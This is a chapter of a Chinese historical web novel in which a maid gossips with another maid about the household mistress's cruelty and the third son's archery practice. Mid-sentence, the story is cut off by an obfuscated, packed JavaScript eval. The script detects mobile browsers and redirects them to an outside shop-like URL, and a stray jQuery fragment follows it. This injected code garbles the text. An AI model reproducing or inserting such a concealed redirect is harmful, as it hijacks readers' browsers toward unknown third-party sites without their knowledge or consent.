阿啄取了茶盏回来,就见桌上三个男人齐齐望着她。
对此她早有一套说辞,毕竟会武这事藏着掖着也瞒不了太久,更何况她也不想瞒。
“我在山里长大。”
她的说辞就是说实话。
高克行知道这是解释刚刚抓苍蝇的事,许是他脸上的狐疑太明显了,就又低了头,看着面前的菜。这说法说得过去,也能解释为
什么兄长叫她拉住了,毕竟山里长大的,力气大很正常。甚至可能她父母死后她又一个人生活过一段时间,傻力气也练得有章法了。
既然有了说法,高克行打算回去了,跟高克己一桌他实在吃不下饭。
“三弟,我回了,午后查你功课再来。”
他说话间已经起身,原棠正拿着茶水进来,见他起身,就小声问:
“二爷,茶来了,您用了再走吧?”
高克行已经走出两步,听见原棠问,回身一笑:
“不喝了,赏你,还有阿啄。”
像是有意要破坏这氛围似的,高克己也站了起来:
“行哥儿且住,我与你一道去,上次在你那儿赏的虎丘小景图,我还意犹未尽。”
已经下了他的面子,他还要追来,高克行不耐,但又不能真跟大房的堂哥撕了脸,只能不说话,等他追上来一起走了。
拱辰轩的正房里又一次陷入了安静。
半晌,高克正叫原棠拿了帕子和茶水净口,做完后,他把桌上没人动筷的煎蒸肉饼向鹿啄推了推:
“这个没人动,你们分了吧。”
其实他并没吃饱,只是被那句山里长大的话震住了。
一个女孩子,在山里长大,要受多少苦。
高府下人的饭他看原棠和小厮们吃过,委实不怎么样,单吃这些,气色怎么能好,人怎么能有精神呢?更何况鹿啄原来是粗使丫
头,那么重的活啊。
但事情放在鹿啄身上,又是另一回事。
她并非吃不到好的,而是有意不吃。
在山上,逐娘就烧的一手好菜,她把这本事教给了二姐鹿坪,鹿坪又根据各路山珍的特色琢磨着调味,分到她手里的体己钱,几
乎都用来买香料了。吃着她手里做出来的菜,鹿啄并不觉得自己是没吃过好东西的人。
现在不吃,是怕忘了鹿坪所做菜肴的味道。
两个丫鬟谢过高克正,将肉饼留下,其余碗碟由小厮们撤走。
剩下的时间,高克正会在书房读书,做做样子。
原棠端着肉饼和鹿啄回到下房,又温了些热菜汤摆在桌上,另有一壶龙井茶。刚落座,原棠便搜肠刮肚地思索吃饭时该跟鹿啄聊些什么。
突然,她有了灵感:
“阿啄,你知不知道,老太爷和太夫人的病好得差不多了?”
高家回到青州,就是为了两位高堂的病,若不是他们一起病了,高彦韬未必会回得来。可能是平时吃在一处,住在一处,老两口病也病在一处。倒不是棘手的疫病,可病势凶险,来得飞快,一晚上,两个人就人事不省。
大夫瞧了,说是与暑热有关,夏日不用冰,硬憋出来的病。
“不知。”
鹿啄不吃肉饼,舀了两勺汤在碗里,又想了一下,才道:
“病好了会如何?”
这是给原棠把话接下去的台阶。
“病好了,少爷和小姐们就要每日去晨昏定省,咱们也跟着三少爷去内宅。”
倒是好事儿,能借机把殷氏房里的人,一一跟名单对上。她又给原棠抛了个话头:
“你怎么知道。”
“我听人闲聊听来的。”
原棠脸上有点红,她虽然不爱说嘴,但爱听这些风声,院里没人知道她有这个小癖好。
见她如此,鹿啄主动伸手,拍了拍她拿着筷子的手:
“我也爱听。”
知道鹿啄是在体贴自己,原棠又笑了笑,把肉饼推到鹿啄眼前:
“你也吃,这是三少爷赏的。”说完,她鼓足了勇气,又补了一句,“你不知道,三少爷平日里吃得多,从没有剩下的,这是头一
遭。”
天天晚上在院子里练射礼,有剩下的才怪。
在背后议论主子,往小了说是长舌,往大了说是不忠,原棠也不知道自己为什么没来由的信任这个阿啄,可能是她们秉性相似。今天她看阿啄把高克行给她的鸡蛋又放回桌上了,须知高克行并不一定会把鸡蛋要回来,就算要回来,也是一种私相授受,别人
求还求不来。
阿啄虽然面上看着不懂规矩,但实际上是最有分寸的人,她想跟鹿啄多说些话。
但没等她开口,鹿啄先道:
“他在练射柳。”
院子里摆着三棵大柳树,还有没拔出来的柳枝,只有完全不懂这些事的人才猜不出他在干什么。鹿啄只是不想接关于肉饼的那个
话题,又不想叫原棠觉得她不愿与她共享。
果然,原棠也知道:
“那动静那么大,别人想不知也难。”
原棠叹了一口气:
“是我们二小姐叫他去练的,三少爷为人是刻苦的,我不该这么说他,可才学上……确实有些不济。”
不是“有些”不济,是太不济了。
“家里的太太是威节侯府出来的姑娘,威节侯在军中颇有人望,考武举的关系也能走动。我们二小姐想着,太太没儿子,将来一
定是要依靠一个庶子,自然关系不好也是要奉养主母的,只是不比有个真正贴心的知冷知热。”
听到殷碧在其中有关系,鹿啄听得用心起来。
“所以二小姐让三少爷苦练,等严家来了,必是要跟严家还有殷家的公子们射柳取乐的,到时在太太和殷家的人面前露了脸,以
后就顺当了。”
高克正也好,原棠也罢,在鹿啄心里都是不坏的人,她并不想叫他们痛苦,可如果依附殷碧,痛苦只在迟早。
“那他的亲娘呢。”
鹿啄把话头引到杨怀薇身上,若要阻止儿子去依附并非自己生身母亲的人,只能抬出真正的生身母亲。
“杨姨娘是愿意的。”原棠脸上露出几分悲戚,“比起她自己的体面与处境,她更想儿子过得好。”
怪不得,鹿啄想起与郑婆子对质当日,殷碧去搀高克正,杨怀薇可是动也没动。鹿啄又问:
“若是所托非人呢。”
“大抵一定会所托
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030553|194532||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
非人吧。”
原棠给了个意料之外的答案。
“但少爷要是真的练成了,也能自己去闯一番天地,总好过在自己不擅长的事上与他人相争,怎么争得过。”
这个他也不擅长。
鹿啄暗暗想到。
而且这高克正说来也怪,怎么姐姐、丫鬟、生母,一个个都像是他的娘亲,竟没一个人把他当做是能给自己做主的。不过鹿啄有
更关心的问题:
“为何说一定。”
这又是要原棠去议论主子了,原棠不好直说,只能似是而非地答:
“太太跟面上看着的不一样。”
“怎么不一样。”
见鹿啄不肯罢休,原棠想不出话来搪塞她,又及想着刚刚鹿啄说她也爱听闲话,这给了原棠一些想向知音倾谈的念头,她挑挑拣
拣讲了一件事:
“你见过大少爷吧,就是东边含章馆里的克肃少爷。”
鹿啄点点头,原棠继续道:
“大少爷还小的时候,太太想过要扶植他,但可能被大少爷拒绝了。其实无论大少爷二少爷,都是不会舍了生母的。从那以后,
太太就恼了大少爷,明知道老爷不叫没有官身的时候跟女人拉扯不清,她就硬要给大少爷院里塞美貌的,还有这种的。”
原棠用手在胸前比划了两下,示意是个丰腴美人的样子。
“那时候大少爷还小呢,哪里懂这些,后来有段时间,我看他瞧见女人都有些怕。可这还不完,我们在京城的时候,日日要晨昏
定省,我有几次跟三少爷在外院等着,大少爷在里头,一等就是半个时辰,后来大少爷出来了,脸上不是有掌印,就是被泼了热茶。”
不光阴狠,而且锱铢必较,忌刻褊急,鹿啄渐渐皱起眉头。
“她是主母,大少爷但或顶嘴抵抗,就是犯上不孝,也不能到老爷那里去告状,这议论上亲是一遭,更何况大少爷屋里那么多女
人,连老爷都恼了他。直到后来大少爷中了解元,分了院儿,才把屋里人都打发了,也少到主母那里去,这才好了。”
对于他人的一点点违抗都无法容忍,也不许别人在她面前有自己的想法和主意,这一点殷碧的女儿倒是很像她。
一口气说了许多,原棠喝了口茶水,她的腼腆来于不敢轻信他人,但要是信了,那点爱好也就藏不住了。
连原棠这个杨姨娘屋里出来的人都知道这么多,别人对殷碧的事只会知道更多,可殷碧看重的是什么,鹿啄并没搞明白。以她的
性格,是不可能看重高克正的,如果说她最看重自己的女儿,那又不会连番多次在庶子之间试探。
原棠正仰头牛饮龙井,并没注意到鹿啄看她的目光。
那是鹿啄在心中,将恩怨分明的目光。
逐娘没生在光明的地方,也没生在一片漆黑的地方,她生在晦明之交,遍观了人世的无奈,深谙俗世无可避之局。为了不让她的
孩子们心中生出尘,她只教她们识得黑,辨得白。
鹿啄是其中,将这些记得最深的那个。
为了无谓的事害了她们的人,她要叫这些人唯有惨字而已;可不为任何事帮了她的人,她也势必回报。